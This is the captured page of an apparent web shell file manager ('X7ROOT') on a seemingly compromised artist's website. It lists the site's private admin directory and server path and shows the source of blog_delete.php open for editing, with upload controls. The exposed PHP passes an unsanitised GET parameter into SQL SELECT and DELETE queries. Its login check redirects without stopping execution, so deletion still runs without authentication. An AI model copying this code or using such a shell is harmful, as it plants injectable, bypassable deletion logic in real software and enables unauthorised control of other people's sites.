X7ROOT File Manager
Current Path:
/home/u408670528/domains/vittoriabeltrame.com/public_html/admin
home
/
u408670528
/
domains
/
vittoriabeltrame.com
/
public_html
/
admin
/
📁
..
📄
.DS_Store
(6 KB)
📁
ajax
📄
artists.php
(6.87 KB)
📄
artists_delete.php
(309 B)
📄
artists_edit.php
(6.06 KB)
📄
artists_edit2.php
(519 B)
📄
artists_new.php
(5.8 KB)
📄
artists_new2.php
(663 B)
📄
blog.php
(6.94 KB)
📄
blog_delete.php
(648 B)
📄
blog_edit.php
(10.43 KB)
📄
blog_edit2.php
(2.28 KB)
📄
blog_new.php
(9.71 KB)
📄
blog_new2.php
(1.44 KB)
📄
changepsw.php
(535 B)
📁
css
📄
exhibitions.php
(7.41 KB)
📄
exhibitions_delete.php
(879 B)
📄
exhibitions_edit.php
(7.74 KB)
📄
exhibitions_edit2.php
(3.98 KB)
📄
exhibitions_new.php
(7.4 KB)
📄
exhibitions_new2.php
(2.52 KB)
📁
img
📁
includes
📄
index.php
(9.63 KB)
📁
js
📄
logout.php
(78 B)
📄
press.php
(7.01 KB)
📄
press_delete.php
(507 B)
📄
press_edit.php
(5.34 KB)
📄
press_edit2.php
(834 B)
📄
press_new.php
(5.13 KB)
📄
press_new2.php
(606 B)
📁
vendor
📄
works.php
(7.2 KB)
📄
works_delete.php
(500 B)
📄
works_edit.php
(6.86 KB)
📄
works_edit2.php
(939 B)
📄
works_new.php
(6.3 KB)
📄
works_new2.php
(657 B)
Editing: blog_delete.php
<?php session_start(); if(isset($_SESSION["validado"])!=true){ header("Location:../index.php?ventrada=fail"); }; include("../includes/conexiones.php"); $idpost=$_GET["vid"]; $sql="SELECT pic1, pic2, pic3 FROM blog WHERE (id_blog=$idpost)"; $resultado=mysqli_query($con,$sql); $fila=mysqli_fetch_array($resultado); $picName1=$fila["pic1"]; $picName2=$fila["pic2"]; $picName3=$fila["pic3"]; $sql="DELETE FROM blog WHERE (id_blog=$idpost)"; if(mysqli_query($con,$sql)){ unlink("../assets/img/blog/".$picName1); unlink("../assets/img/blog/".$picName2); unlink("../assets/img/blog/".$picName3); } header("Location:blog.php?vblog=deleted"); ?>
Upload File
Create Folder